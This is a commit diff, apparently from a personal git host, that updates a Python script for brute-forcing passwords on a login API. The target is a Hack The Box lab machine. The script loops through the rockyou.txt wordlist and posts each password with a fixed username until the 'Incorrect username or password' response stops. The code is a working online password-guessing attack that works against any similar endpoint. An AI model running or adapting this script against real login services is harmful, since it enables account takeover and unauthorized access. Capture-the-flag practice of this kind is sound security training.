not the way but possible
This commit is contained in:
+6
-4
@@ -5,6 +5,7 @@ wordlist = "/usr/share/wordlists/rockyou.txt"
|
|||||||
found = False
|
found = False
|
||||||
pwn = "nope"
|
pwn = "nope"
|
||||||
request = "ayy"
|
request = "ayy"
|
||||||
|
usern = "bean.hill"
|
||||||
|
|
||||||
def ayy(username, password):
|
def ayy(username, password):
|
||||||
endpoint = "http://hat-valley.htb/api/login"
|
endpoint = "http://hat-valley.htb/api/login"
|
||||||
@@ -14,20 +15,21 @@ def ayy(username, password):
|
|||||||
"password" : password,
|
"password" : password,
|
||||||
}
|
}
|
||||||
r = post(endpoint, json=payload, headers = headers)
|
r = post(endpoint, json=payload, headers = headers)
|
||||||
print(r.text)
|
print("[+] " + r.text)
|
||||||
return r.text
|
return r.text
|
||||||
|
|
||||||
with open(wordlist,'r') as mariob:
|
with open(wordlist,'r') as mariob:
|
||||||
while found == False:
|
while found == False:
|
||||||
for passWL in mariob:
|
for passWL in mariob:
|
||||||
for pasw in passWL.split():
|
for pasw in passWL.split():
|
||||||
print("[+] testing " + pasw)
|
print("[+++] testing " + usern + ":" + pasw)
|
||||||
if ayy("bean.hill", pasw) == "Incorrect username or password":
|
if ayy(usern, pasw) == "Incorrect username or password":
|
||||||
print(str(found))
|
print("[+] Found?: " + str(found))
|
||||||
time.sleep(.01)
|
time.sleep(.01)
|
||||||
else:
|
else:
|
||||||
pwn = pasw
|
pwn = pasw
|
||||||
found = True
|
found = True
|
||||||
|
print("[+] Found?: " + str(found))
|
||||||
else:
|
else:
|
||||||
print(pasw)
|
print(pasw)
|
||||||
exit()
|
exit()
|
||||||
|
|||||||
Reference in New Issue
Block a user